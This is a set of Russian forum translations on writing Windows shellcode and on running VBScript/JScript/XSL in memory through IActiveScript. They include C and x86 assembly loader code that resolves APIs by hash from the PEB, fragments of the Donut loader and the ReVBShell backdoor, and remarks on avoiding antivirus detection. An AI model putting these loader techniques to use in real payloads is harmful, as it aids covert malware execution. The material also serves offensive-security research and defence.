Даже если в коде C / C ++ вы можете определить глобальную переменную, строку со значением «Hello, world!», Или вы можете напрямую поместить строку в качестве параметра функции, как в нашем примере «Hello, world», компилятор поместит эту строку в определенный раздел файла:
Поскольку нам нужен позиционно-независимый код, мы хотим, чтобы строки были частью нашего кода, поэтому мы должны хранить строку в стеке, как вы увидите в следующих частях этой статьи.
В C / C ++ легко вызвать функцию. Мы указываем #include <> для использования определенного заголовка и вызова функции по его имени. В фоновом режиме проблему решают компилятор и компоновщик: они разрешают адреса функций (например, MessageBox из user32.dll), и мы можем легко вызывать эти функции по их именам.
В шеллкоде мы не можем этого сделать. Мы не знаем, загружена ли в память библиотека, содержащая нашу требуемую функцию, и не знаем адрес требуемой функции. DLL из-за ASLR (рандомизации размещения адресного пространства) не будет загружаться каждый раз по одному и тому же адресу. Кроме того, DLL может изменяться с каждым новым обновлением Windows, поэтому мы не можем полагаться на конкретное смещение в DLL.
Мы должны загрузить DLL в память и найти нужные функции прямо из шеллкода. К счастью, Windows API предлагает две полезные функции: [LoadLibrary ](https://msdn.microsoft.com/en- us/library/windows/desktop/ms684175(v=vs.85).aspx)и [GetProcAddress](https://msdn.microsoft.com/en- us/library/windows/desktop/ms683212(v=vs.85).aspx), которые мы можем использовать для поиска адресов наших функций.
Нулевые байты имеют значение 0x00. В коде C / C ++ NULL-байт считается терминатором строки. Из-за этого присутствие этих байтов в шелл-коде может нарушить функциональность целевого приложения, и наш шелл-код может быть неправильно скопирован в память.
Даже такая ситуация не является обязательной, в таких распространенных случаях, как переполнение буфера, используется функция strcpy (). Эта функция будет копировать строку за байтом, и она остановится, когда встретит нулевой байт. Таким образом, если шелл-код содержит байт NULL, функция strcpy останавливается на этом байте, а шелл-код не будет завершенным и, как вы можете догадаться, он не будет работать правильно.
Две инструкции из рисунка выше эквивалентны по функциональности, но, как вы можете видеть, первая содержит NULL-байты, а вторая - нет. Даже если в скомпилированном коде часто встречаются NULL-байты, их не так сложно избежать.
Кроме того, существуют конкретные случаи, когда шелл-код должен избегать символов, таких как \ r или \ n, или даже использовать только буквенно- цифровые символы.
Linux против Windows шеллкоды
Проще написать шеллкод для Linux, хотя бы базовый. Это связано с тем, что в
Linux можно очень легко использовать системные вызовы (системные «функции»),
такие как us write, execve или send, с прерыванием 0x80 (воспринимайте это как
«вызов функции»). Вы можете найти список системных вызовов
здесь.
Например, шеллкод «Hello, world» в Linux требует следующих шагов:
Это приведет к вызову: write (stdout, «Hello, world», length).
В Windows это сложнее. Есть более необходимые шаги для создания надежного шелл-кода.
Заключение
Это первая часть из серии статей о том, как написать шелл-код Windows для
начинающих. Это введение требуется для того, чтобы понять, что такое шелл-код,
каковы ограничения и каковы различия между шелл-кодом Windows и Linux.
Вторая часть будет содержать краткое введение в язык ассемблера, формат файлов PE (Portable Executable) и PEB (Process Environment Block). Позже вы увидите, как это поможет вам написать собственный шелл-код.
Источник:https://xss.is
Переводчик статьи - https://xss.is/members/177895/
Shellcode: выполнение в памяти JavaScript, VBScript, JScript и XSL
Вступление
Функция DynaCall () для Win32 была опубликована в августовском выпуске Dr.Dobbs Journal. Автор, Тон Плой, предоставил функцию на C, которая позволяет интерпретируемому языку, такому как VBScript, вызывать внешние функции DLL через зарегистрированный COM-объект. Объект автоматизации для динамических вызовов DLL, опубликованный в ноябре 1998 года Джеффом Стонгом, был основан, чтобы предоставить более полный проект, который он назвал DynamicWrapper. В 2011 году Блэр Странг написал инструмент под названием vbsmem, который использовал DynamicWrapper для выполнения Shell-кода из VBScript. DynamicWrapper был источником вдохновения для другого инструмента под названием DynamicWrapperX, который появился в 2008 году, и он также использовался для выполнения Shell-кода из VBScript.
Обновление мая 2019:
Defender Control Application включает в себя ряд новых политик, один из
которых является «COM объект регистрации». Microsoft заявляет, что цель этой
политики состоит в том, чтобы обеспечить «встроенный список разрешений для
регистрации COM-объектов, чтобы снизить риск, связанный с некоторыми мощными
COM-объектами». Они ссылаются на DynamicWrapper? Возможно, но как насчет
незарегистрированных COM-объектов? Роберт Фриман / IBM продемонстрировал в
2007 году, что незарегистрированные COM-объекты могут быть полезны для целей
запутывания. Его презентация Virus Bulletin. Обфускация нового кода с помощью
COM не предоставляет никакого кода для проверки концепции, но демонстрирует
возможность неправильного использования интерфейса IActiveScript для вызовов
Dynamic DLL без регистрации COM.
Windows Script Host (WSH)
WSH - это технология автоматизации, доступная начиная с Windows 95, которая была популярна среди разработчиков до выпуска .NET Framework в 2002 году. Она в основном использовалась для создания динамического контента, такого как Active Server Pages (ASP), написанного на JScript или VBScript. Поскольку .NET заменил эту технологию, большая часть знаний, приобретенных разработчиками в области Active Scripting вплоть до 2002 года, постепенно исчезла из Интернета. Одна из публикаций, которые часто рекомендуются на форумах разработчиков, - это часто задаваемые вопросы Active X от Mark Baker, в которых даются ответы на большинство вопросов разработчиков об интерфейсе IActiveScript.
Перечисление скриптовых двигателей
Может быть выполнено как минимум двумя способами.
Каждый идентификатор класса, HKEY_CLASSES_ROOT\CLSID, который содержит подключаемый подраздел, OLEScript может использоваться с Windows Script Hosting. Компонентов для категории Manager можно перечислить CLSID для категории идентификаторов CATID_ActiveScript или CATID_ActiveScriptParse.
Ниже приведен фрагмент кода для отображения активных механизмов сценариев с использованием второго подхода.
Code:Copy to clipboard
void DisplayScriptEngines(void) {
ICatInformation *pci = NULL;
IEnumCLSID *pec = NULL;
HRESULT hr;
CLSID clsid;
OLECHAR *progID, *idStr, path[MAX_PATH], desc[MAX_PATH];
// initialize COM
CoInitialize(NULL);
// obtain component category manager for this machine
hr = CoCreateInstance(
CLSID_StdComponentCategoriesMgr,
0, CLSCTX_SERVER, IID_ICatInformation,
(void**)&pci);
if(hr == S_OK) {
// obtain list of script engine parsers
hr = pci->EnumClassesOfCategories(
1, &CATID_ActiveScriptParse, 0, 0, &pec);
if(hr == S_OK) {
// print each CLSID and Program ID
for(;;) {
ZeroMemory(path, ARRAYSIZE(path));
ZeroMemory(desc, ARRAYSIZE(desc));
hr = pec->Next(1, &clsid, 0);
if(hr != S_OK) {
break;
}
ProgIDFromCLSID(clsid, &progID);
StringFromCLSID(clsid, &idStr);
GetProgIDInfo(idStr, path, desc);
wprintf(L"\n*************************************\n");
wprintf(L"Description : %s\n", desc);
wprintf(L"CLSID : %s\n", idStr);
wprintf(L"Program ID : %s\n", progID);
wprintf(L"Path of DLL : %s\n", path);
CoTaskMemFree(progID);
CoTaskMemFree(idStr);
}
pec->Release();
}
pci->Release();
}
}
Вывод этого кода в системе с установленными ActivePerl и ActivePython:
Code:Copy to clipboard
*************************************
Description : JScript Language
CLSID : {16D51579-A30B-4C8B-A276-0FF4DC41E755}
Program ID : JScript
Path of DLL : C:\Windows\System32\jscript9.dll
*************************************
Description : XML Script Engine
CLSID : {989D1DC0-B162-11D1-B6EC-D27DDCF9A923}
Program ID : XML
Path of DLL : C:\Windows\System32\msxml3.dll
*************************************
Description : VB Script Language
CLSID : {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
Program ID : VBScript
Path of DLL : C:\Windows\System32\vbscript.dll
*************************************
Description : VBScript Language Encoding
CLSID : {B54F3743-5B07-11CF-A4B0-00AA004A55E8}
Program ID : VBScript.Encode
Path of DLL : C:\Windows\System32\vbscript.dll
*************************************
Description : JScript Compact Profile (ECMA 327)
CLSID : {CC5BBEC3-DB4A-4BED-828D-08D78EE3E1ED}
Program ID : JScript.Compact
Path of DLL : C:\Windows\System32\jscript.dll
*************************************
Description : Python ActiveX Scripting Engine
CLSID : {DF630910-1C1D-11D0-AE36-8C0F5E000000}
Program ID : Python.AXScript.2
Path of DLL : pythoncom36.dll
*************************************
Description : JScript Language
CLSID : {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID : JScript
Path of DLL : C:\Windows\System32\jscript.dll
*************************************
Description : JScript Language Encoding
CLSID : {F414C262-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID : JScript.Encode
Path of DLL : C:\Windows\System32\jscript.dll
*************************************
Description : PerlScript Language
CLSID : {F8D77580-0F09-11D0-AA61-3C284E000000}
Program ID : PerlScript
Path of DLL : C:\Perl64\bin\PerlSE.dll
Механизмы сценариев PerlScript и Python совмещаются с ActiveState. Я бы порекомендовал использовать {16D51579-A30B-4C8B-A276-0FF4DC41E755} для JavaScript.
C реализация IActiveScript
Во время исследования IActiveScript я обнаружил, что статья «COM в простой C» часть 6 Джеффа Глатта, была довольно полезной. Следующий код представляет собой необходимый минимум для выполнения файлов VBS / JS и не поддерживает объекты WSH.
Code:Copy to clipboard
VOID run_script(PWCHAR lang, PCHAR script) {
IActiveScriptParse *parser;
IActiveScript *engine;
MyIActiveScriptSite mas;
IActiveScriptSiteVtbl vft;
LPVOID cs;
DWORD len;
CLSID langId;
HRESULT hr;
// 1. Initialize IActiveScript based on language
CLSIDFromProgID(lang, &langId);
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoCreateInstance(
&langId, 0, CLSCTX_INPROC_SERVER,
&IID_IActiveScript, (void **)&engine);
// 2. Query engine for script parser and initialize
engine->lpVtbl->QueryInterface(
engine, &IID_IActiveScriptParse,
(void **)&parser);
parser->lpVtbl->InitNew(parser);
// 3. Initialize IActiveScriptSite interface
vft.QueryInterface = (LPVOID)QueryInterface;
vft.AddRef = (LPVOID)AddRef;
vft.Release = (LPVOID)Release;
vft.GetLCID = (LPVOID)GetLCID;
vft.GetItemInfo = (LPVOID)GetItemInfo;
vft.GetDocVersionString = (LPVOID)GetDocVersionString;
vft.OnScriptTerminate = (LPVOID)OnScriptTerminate;
vft.OnStateChange = (LPVOID)OnStateChange;
vft.OnScriptError = (LPVOID)OnScriptError;
vft.OnEnterScript = (LPVOID)OnEnterScript;
vft.OnLeaveScript = (LPVOID)OnLeaveScript;
mas.site.lpVtbl = (IActiveScriptSiteVtbl*)&vft;
mas.siteWnd.lpVtbl = NULL;
mas.m_cRef = 0;
engine->lpVtbl->SetScriptSite(
engine, (IActiveScriptSite *)&mas);
// 4. Convert script to unicode and execute
len = MultiByteToWideChar(
CP_ACP, 0, script, -1, NULL, 0);
len *= sizeof(WCHAR);
cs = malloc(len);
len = MultiByteToWideChar(
CP_ACP, 0, script, -1, cs, len);
parser->lpVtbl->ParseScriptText(
parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);
engine->lpVtbl->SetScriptState(
engine, SCRIPTSTATE_CONNECTED);
// 5. cleanup
parser->lpVtbl->Release(parser);
engine->lpVtbl->Close(engine);
engine->lpVtbl->Release(engine);
free(cs);
}
Сборка x86
Наглядно для иллюстрации, что-то похожее в сборке x86 с некоторыми наложенными ограничениями: сценарий не должен превышать 64 КБ, преобразование UTF-16 работает только с символами ANSI (латинский алфавит), а язык (VBS или JS) должен быть предопределен перед сборкой. При объявлении локальной переменной в стеке, превышающей 4 КБ, компиляторы, такие как GCC и MSVC, вставляют код для проверки стека, что позволяет ядру увеличить объем памяти стека, доступной для потока. Конечно, есть переключатели компилятора/ компоновщика для увеличения зарезервированного размера если вы хотели предотвратить проверку стека, но они редко используются на практике. Каждый поток в Windows изначально имеет 16 КБ стека, доступного по умолчанию, как вы можете видеть, вычитая значение StackLimit из StackBase, найденное в блоке среды потока (TEB).
Code:Copy to clipboard
0:004> !teb
TEB at 000000f4018bf000
ExceptionList: 0000000000000000
StackBase: 000000f401c00000
StackLimit: 000000f401bfc000
SubSystemTib: 0000000000000000
FiberData: 0000000000001e00
ArbitraryUserPointer: 0000000000000000
Self: 000000f4018bf000
EnvironmentPointer: 0000000000000000
ClientId: 0000000000001940 . 000000000000067c
RpcHandle: 0000000000000000
Tls Storage: 0000000000000000
PEB Address: 000000f40185a000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
0:004> ? 000000f401c00000 - 000000f401bfc000
Evaluate expression: 16384 = 00000000`00004000
Код ассемблера изначально использовал VirtualAlloc для выделения достаточного пространства, но поскольку этот код вряд ли будет использоваться для чего-либо практического, вместо него используется стек.
Code:Copy to clipboard
; In-Memory execution of VBScript/JScript using 392 bytes of x86 assembly
; Odzhan
%include "ax.inc"
%define VBS
bits 32
%ifndef BIN
global run_scriptx
global _run_scriptx
%endif
run_scriptx:
_run_scriptx:
pop ecx ; ecx = return address
pop eax ; eax = script parameter
push ecx ; save return address
cdq ; edx = 0
; allocate 128KB of stack.
push 32 ; ecx = 32
pop ecx
mov dh, 16 ; edx = 4096
pushad ; save all registers
xchg eax, esi ; esi = script
alloc_mem:
sub esp, edx ; subtract size of page
test [esp], esp ; stack probe
loop alloc_mem ; continue for 32 pages
mov edi, esp ; edi = memory
xor eax, eax
utf8_to_utf16: ; YMMV. Prone to a stack overflow.
cmp byte[esi], al ; ? [esi] == 0
movsb ; [edi] = [esi], edi++, esi++
stosb ; [edi] = 0, edi++
jnz utf8_to_utf16 ;
stosd ; store 4 nulls at end
and edi, -4 ; align by 4 bytes
call init_api ; load address of invoke_api onto stack
; *******************************
; INPUT: eax contains hash of API
; Assumes DLL already loaded
; No support for resolving by ordinal or forward references
; *******************************
invoke_api:
pushad
push TEB.ProcessEnvironmentBlock
pop ecx
mov eax, [fs:ecx]
mov eax, [eax+PEB.Ldr]
mov edi, [eax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
jmp get_dll
next_dll:
mov edi, [edi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
get_dll:
mov ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
mov eax, [ebx+IMAGE_DOS_HEADER.e_lfanew]
; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
mov ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
IMAGE_OPTIONAL_HEADER32.DataDirectory + \
IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
IMAGE_DATA_DIRECTORY.VirtualAddress]
jecxz next_dll
; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames
lea esi, [ebx+ecx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
lodsd
xchg eax, ecx
jecxz next_dll ; skip if no names
; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
lodsd
add eax, ebx ; ebp = RVA2VA(eax, ebx)
xchg eax, ebp ;
; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
lodsd
add eax, ebx ; edx = RVA2VA(eax, ebx)
xchg eax, edx ;
; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
lodsd
add eax, ebx ; esi = RVA2VA(eax, ebx)
xchg eax, esi
get_name:
pushad
mov esi, [edx+ecx*4-4] ; esi = AddressOfNames[ecx-1]
add esi, ebx ; esi = RVA2VA(esi, ebx)
xor eax, eax ; eax = 0
cdq ; h = 0
hash_name:
lodsb
add edx, eax
ror edx, 8
dec eax
jns hash_name
cmp edx, [esp + _eax + pushad_t_size] ; hashes match?
popad
loopne get_name ; --ecx && edx != hash
jne next_dll ; get next DLL
movzx eax, word [esi+ecx*2] ; eax = AddressOfNameOrdinals[ecx]
add ebx, [ebp+eax*4] ; ecx = base + AddressOfFunctions[eax]
mov [esp+_eax], ebx
popad ; restore all
jmp eax
_ds_section:
; ---------------------
db "ole32", 0, 0, 0
co_init:
db "CoInitializeEx", 0
co_init_len equ $-co_init
co_create:
db "CoCreateInstance", 0
co_create_len equ $-co_create
; IID_IActiveScript
; IID_IActiveScriptParse32 +1
dd 0xbb1a2ae1
dw 0xa4f9, 0x11cf
db 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64
%ifdef VBS
; CLSID_VBScript
dd 0xB54F3741
dw 0x5B07, 0x11cf
db 0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8
%else
; CLSID_JScript
dd 0xF414C260
dw 0x6AC0, 0x11CF
db 0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58
%endif
_QueryInterface:
mov eax, E_NOTIMPL ; return E_NOTIMPL
retn 3*4
_AddRef:
_Release:
pop eax ; return S_OK
push eax
push eax
_GetLCID:
_GetItemInfo:
_GetDocVersionString:
pop eax ; return S_OK
push eax
push eax
_OnScriptTerminate:
xor eax, eax ; return S_OK
retn 3*4
_OnStateChange:
_OnScriptError:
jmp _GetDocVersionString
_OnEnterScript:
_OnLeaveScript:
jmp _Release
init_api:
pop ebp
lea esi, [ebp + (_ds_section - invoke_api)]
; LoadLibrary("ole32");
push esi ; "ole32", 0
mov eax, 0xFA183D4A ; eax = hash("LoadLibraryA")
call ebp ; invoke_api(eax)
xchg ebx, eax ; ebp = base of ole32
lodsd ; skip "ole32"
lodsd
; _CoInitializeEx = GetProcAddress(ole32, "CoInitializeEx");
mov eax, 0x4AAC90F7 ; eax = hash("GetProcAddress")
push eax ; save eax/hash
push esi ; esi = "CoInitializeEx"
push ebx ; base of ole32
call ebp ; invoke_api(eax)
; 1. _CoInitializeEx(NULL, COINIT_MULTITHREADED);
cdq ; edx = 0
push edx ; COINIT_MULTITHREADED
push edx ; NULL
call eax ; CoInitializeEx
add esi, co_init_len ; skip "CoInitializeEx", 0
; _CoCreateInstance = GetProcAddress(ole32, "CoCreateInstance");
pop eax ; eax = hash("GetProcAddress")
push esi ; "CoCreateInstance"
push ebx ; base of ole32
call ebp ; invoke_api
add esi, co_create_len ; skip "CoCreateInstance", 0
; 2. _CoCreateInstance(
; &langId, 0, CLSCTX_INPROC_SERVER,
; &IID_IActiveScript, (void **)&engine);
push edi ; &engine
scasd ; skip engine
mov ebx, edi ; ebx = &parser
push edi ; &IID_IActiveScript
movsd
movsd
movsd
movsd
push CLSCTX_INPROC_SERVER
push 0 ;
push esi ; &CLSID_VBScript or &CLSID_JScript
call eax ; _CoCreateInstance
; 3. Query engine for script parser
; engine->lpVtbl->QueryInterface(
; engine, &IID_IActiveScriptParse,
; (void **)&parser);
push edi ; &parser
push ebx ; &IID_IActiveScriptParse32
inc dword[ebx] ; add 1 for IActiveScriptParse32
mov esi, [ebx-4] ; esi = engine
push esi ; engine
mov eax, [esi] ; eax = engine->lpVtbl
call dword[eax + IUnknownVtbl.QueryInterface]
; 4. Initialize parser
; parser->lpVtbl->InitNew(parser);
mov ebx, [edi] ; ebx = parser
push ebx ; parser
mov eax, [ebx] ; eax = parser->lpVtbl
call dword[eax + IActiveScriptParse32Vtbl.Init
; 5. Initialize IActiveScriptSite
lea eax, [ebp + (_QueryInterface - invoke_api)]
push edi ; save pointer to IActiveScriptSiteVtbl
stosd ; vft.QueryInterface = (LPVOID)QueryInterface;
add eax, _AddRef - _QueryInterface
stosd ; vft.AddRef = (LPVOID)AddRef;
stosd ; vft.Release = (LPVOID)Release;
add eax, _GetLCID - _Release
stosd ; vft.GetLCID = (LPVOID)GetLCID;
stosd ; vft.GetItemInfo = (LPVOID)GetItemInfo;
stosd ; vft.GetDocVersionString = (LPVOID)GetDocVersionString;
add eax, _OnScriptTerminate - _GetDocVersionString
stosd ; vft.OnScriptTerminate = (LPVOID)OnScriptTerminate;
add eax, _OnStateChange - _OnScriptTerminate
stosd ; vft.OnStateChange = (LPVOID)OnStateChange;
stosd ; vft.OnScriptError = (LPVOID)OnScriptError;
inc eax
inc eax
stosd ; vft.OnEnterScript = (LPVOID)OnEnterScript;
stosd ; vft.OnLeaveScript = (LPVOID)OnLeaveScript;
pop eax ; eax = &vft
; 6. Set script site
; engine->lpVtbl->SetScriptSite(
; engine, (IActiveScriptSite *)&mas);
push edi ; &IMyActiveScriptSite
stosd ; IActiveScriptSite.lpVtbl = &vft
xor eax, eax
stosd ; IActiveScriptSiteWindow.lpVtbl = NULL
push esi ; engine
mov eax, [esi]
call dword[eax + IActiveScriptVtbl.SetScriptSite]
; 7. Parse our script
; parser->lpVtbl->ParseScriptText(
; parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);
mov edx, esp
push 8
pop ecx
init_parse:
push eax ; 0
loop init_parse
push edx ; script
push ebx ; parser
mov eax, [ebx]
call dword[eax + IActiveScriptParse32Vtbl.ParseScriptText]
; 8. Run script
; engine->lpVtbl->SetScriptState(
; engine, SCRIPTSTATE_CONNECTED);
push SCRIPTSTATE_CONNECTED
push esi
mov eax, [esi]
call dword[eax + IActiveScriptVtbl.SetScriptState]
; 9. cleanup
; parser->lpVtbl->Release(parser);
push ebx
mov eax, [ebx]
call dword[eax + IUnknownVtbl.Release]
; engine->lpVtbl->Close(engine);
push esi ; engine
push esi ; engine
lodsd ; eax = lpVtbl
xchg eax, edi
call dword[edi + IActiveScriptVtbl.Close]
; engine->lpVtbl->Release(engine);
call dword[edi + IUnknownVtbl.Release]
inc eax ; eax = 4096 * 32
shl eax, 17
add esp, eax
popad
ret
Хост-объекты Windows Script
Два именованных объекта (WSH и WScript) добавляются в пространство имен сценария с помощью wscript.exe / cscript.exe, которые не требуют создания экземпляров во время выполнения. Объект 'WScript'используется главным образом для консольного ввода-вывода, доступа к аргументам и пути сценария на диске. Его также можно использовать для завершения сценария с помощью метода Quit или операций опроса с помощью метода Sleep . Интерфейс IActiveScript предоставляет только базовые функции сценариев, поэтому, если мы хотим, чтобы наш хост поддерживал эти объекты или любые другие пользовательские объекты, они должны быть реализованы вручную. Рассмотрим следующий код, взятый из ReVBShell, который должен работать внутри WSH.
Code:Copy to clipboard
While True
' receive command from remote HTTP server
' other code omitted
Select Case strCommand
Case "KILL"
SendStatusUpdate strRawCommand, "Goodbye!"
WScript.Quit 0
End Select
Wend
Когда это использовалось для тестирования Shell-кода Donut , движок сценария прекратил работу при достижении строки «WScript.Quit 0», поскольку он не распознал объект WScript. «On Error Resume Next» была включена, и поэтому скрипт просто продолжал выполняться. После того, как имя этого объекта было добавлено в пространство имен через IActiveScript :: AddNamedItem, запрос для интерфейсов ITypeInfo и IUnknown был сделан через IActiveScriptSite :: GetItemInfo. Если мы не предоставляем интерфейс для запроса, перед завершением анализатор вызывает IActiveScriptSite :: OnScriptError с сообщением «Переменная «WScript» неопределена».
Для включения поддержки «WScript» требуется пользовательская реализация интерфейса WScript, определенного в информации о типе, которая находится в wscript.exe / cscript.exe. Сначала добавьте имя объекта в пространство именобработчика сценариев, используя AddNamedItem. Это делает любые методы, свойства и события частью этого объекта видимыми для сценария.
Code:Copy to clipboard
obj = SysAllocString(L"WScript");
engine->lpVtbl->AddNamedItem(engine, (LPCOLESTR)obj, SCRIPTITEM_ISVISIBLE);
Получите информацию о типе из wscript.exe или cscript.exe. IID_IHost - это
просто идентификатор класса, полученный из вышеупомянутых EXE-файлов. Ниже
приведен скриншот OleWoo , но другие программы просмотра TLB могут работать
так же.
Code:Copy to clipboard
ITypeLib lpTypeLib;
ITypeInfo lpTypeInfo;
LoadTypeLib(L"WScript.exe", &lpTypeLib);
lpTypeLib->lpVtbl->GetTypeInfoOfGuid(lpTypeLib, &IID_IHost, &lpTypeInfo);
Теперь, когда механизм сценариев впервые обнаруживает объект «WScript» и запрашивает интерфейс IUnknown через IActiveScriptSite :: GetItemInfo , Donut возвращает указатель на минимальную реализацию интерфейса IHost.
После этого метод IDispatch :: Invoke будет использоваться для вызова метода Quit, запрошенного сценарием. На данный момент Donut реализует только методы Quit и Sleep, но другие могут поддерживаться по запросу.
Преобразования расширяемого языка таблиц стилей (XSLT)
Файлы XSL могут содержать интерпретированные языки, такие как JScript / VBScript. Следующий код основан на этом примере с помощью TheWover.
Code:Copy to clipboard
void run_xml_script(const char *path) {
IXMLDOMDocument *pDoc;
IXMLDOMNode *pNode;
HRESULT hr;
PWCHAR xml_str;
VARIANT_BOOL loaded;
BSTR res;
xml_str = read_script(path);
if(xml_str == NULL) return;
// 1. Initialize COM
hr = CoInitialize(NULL);
if(hr == S_OK) {
// 2. Instantiate XMLDOMDocument object
hr = CoCreateInstance(
&CLSID_DOMDocument30,
NULL, CLSCTX_INPROC_SERVER,
&IID_IXMLDOMDocument,
(void**)&pDoc);
if(hr == S_OK) {
// 3. load XML file
hr = pDoc->lpVtbl->loadXML(pDoc, xml_str, &loaded);
if(hr == S_OK) {
// 4. create node interface
hr = pDoc->lpVtbl->QueryInterface(
pDoc, &IID_IXMLDOMNode, (void **)&pNode);
if(hr == S_OK) {
// 5. execute script
hr = pDoc->lpVtbl->transformNode(pDoc, pNode, &res);
pNode->lpVtbl->Release(pNode);
}
}
pDoc->lpVtbl->Release(pDoc);
}
CoUninitialize();
}
free(xml_str);
}
PC-относительная адресация в C
Компоновщик делает предположение о том, где PE-файл будет загружен в память. Большинство EXE-файлов запрашивают базовый адрес изображения 0x00400000 для 32-разрядных или 0x0000000140000000 для 64-разрядных. Если загрузчик PE не может отобразить по запрошенному адресу, он использует информацию о перемещении для исправления кода и данных, зависящих от положения. ARM поддерживает относительную к ПК адресацию с помощью кодов операций ADR, ADRP и LDR, но в устаревшем старом x86 отсутствует аналогичная инструкция. x64 поддерживает RIP-относительную адресацию, но нет гарантии, что компилятор будет использовать ее, даже если мы сообщим об этом (-fPIC и -fPIE для GCC). Поскольку мы используем C для Shell -кода, нам нужно вручную вычислить адрес функции относительно того места, где Shell-код находится в памяти. Мы могли бы применять перемещения точно так же, как это делает PE-загрузчик, но самоизменяющийся код может запускать некоторые антивирусные программы. Вместо этого счетчик программы (EIP на x86 или RIP на x64) считывается с использованием некоторой сборки, и это используется для вычисления виртуального адреса функции в памяти. Следующая заглушка кода помещается в конец полезной нагрузки и возвращает значение счетчика программы.
Code:Copy to clipboard
#if defined(_MSC_VER)
#if defined(_M_X64)
#define PC_CODE_SIZE 9 // sub rsp, 40 / call get_pc
static char *get_pc_stub(void) {
return (char*)_ReturnAddress() - PC_CODE_SIZE;
}
static char *get_pc(void) {
return get_pc_stub();
}
#elif defined(_M_IX86)
__declspec(naked) static char *get_pc(void) {
__asm {
call pc_addr
pc_addr:
pop eax
sub eax, 5
ret
}
}
#endif
#elif defined(__GNUC__)
#if defined(__x86_64__)
static char *get_pc(void) {
__asm__ (
"call pc_addr\n"
"pc_addr:\n"
"pop %rax\n"
"sub $5, %rax\n"
"ret");
}
#elif defined(__i386__)
static char *get_pc(void) {
__asm__ (
"call pc_addr\n"
"pc_addr:\n"
"popl %eax\n"
"subl $5, %eax\n"
"ret");
}
#endif
#endif
С помощью этого кода компоновщик будет вычислять относительный виртуальный адрес (RVA), вычитая смещение нашей целевой функции из смещения функции get_pc (). Затем во время выполнения он вычтет RVA из программного счетчика, возвращенного get_pc (), чтобы получить виртуальный адрес целевой функции. Позиция get_pc () должна быть помещена в конце полезной нагрузки, иначе это не будет работать. Следующий макрос (названный в честь кода операции ARM ADR) используется для вычисления виртуального адреса функции в памяти.
Code:Copy to clipboard
#define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr))
Чтобы проиллюстрировать, как он используется, следующий код из полезной нагрузки показывает, как инициализировать интерфейс IActiveScriptSite.
Code:Copy to clipboard
// initialize virtual function table
static VOID ActiveScript_New(PDONUT_INSTANCE inst, IActiveScriptSite *this) {
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
// Initialize IUnknown
mas->site.lpVtbl->QueryInterface = ADR(LPVOID, ActiveScript_QueryInterface);
mas->site.lpVtbl->AddRef = ADR(LPVOID, ActiveScript_AddRef);
mas->site.lpVtbl->Release = ADR(LPVOID, ActiveScript_Release);
// Initialize IActiveScriptSite
mas->site.lpVtbl->GetLCID = ADR(LPVOID, ActiveScript_GetLCID);
mas->site.lpVtbl->GetItemInfo = ADR(LPVOID, ActiveScript_GetItemInfo);
mas->site.lpVtbl->GetDocVersionString = ADR(LPVOID, ActiveScript_GetDocVersionString);
mas->site.lpVtbl->OnScriptTerminate = ADR(LPVOID, ActiveScript_OnScriptTerminate);
mas->site.lpVtbl->OnStateChange = ADR(LPVOID, ActiveScript_OnStateChange);
mas->site.lpVtbl->OnScriptError = ADR(LPVOID, ActiveScript_OnScriptError);
mas->site.lpVtbl->OnEnterScript = ADR(LPVOID, ActiveScript_OnEnterScript);
mas->site.lpVtbl->OnLeaveScript = ADR(LPVOID, ActiveScript_OnLeaveScript);
mas->site.m_cRef = 0;
mas->inst = inst;
}
Динамические вызовы функций DLL
После реализации поддержки некоторых методов WScript обеспечение доступа к функциям DLL напрямую из VBScript/ JScript с использованием аналогичного подхода стало намного проще для понимания. Первоначальная проблема заключается в том, как загрузить информацию о типе непосредственно из памяти. Одно из решений этого может быть найдено в Облегченном подходе для предоставления объектов C ++ размещенному движку Active Scripting. Столкнувшись с той же проблемой, автор использует CreateDispTypeInfo и CreateStdDispatch для создания интерфейсов ITypeInfo и IDispatch, необходимых для интерпретируемых языков для вызова объектов C ++. Тот же подход можно использовать для вызова функций DLL и не требует регистрации COM.
Переведено специально для XSS
neopaket
![modexp.wordpress.com](/proxy.php?image=https%3A%2F%2Fmodexp.wordpress.com%2Fwp- content%2Fuploads%2F2019%2F07%2Fmain_screenshot.png&hash=cc51fc6457c08191bdac2e7c112be75c&return_error=1)
](https://modexp.wordpress.com/2019/07/21/inmem-exec-script/)
Introduction A DynaCall() Function for Win32 was published in the August 1998 edition of Dr.Dobbs Journal. The author, Ton Plooy, provided a function in C that allows an interpreted language such a…
![modexp.wordpress.com](/proxy.php?image=https%3A%2F%2Fmodexp.wordpress.com%2Fwp- content%2Fuploads%2F2018%2F08%2Fcropped- debug.png%3Fw%3D32&hash=0e60945582706383667a8c451258a350&return_error=1) modexp.wordpress.com
CVE-2019-8658 - Захват Webkit.
25 июля 2019 г.
Оглавление
0 - Введение
1 - Обзор CSP
–1.1 - Определения
—-1.1.1 - XSS
—-1.1.2 - UXSS
—-1.1.3 - CSP
—-1.1.4 - SOP
–1.2 - Реализация CSP в webkit - краткий обзор
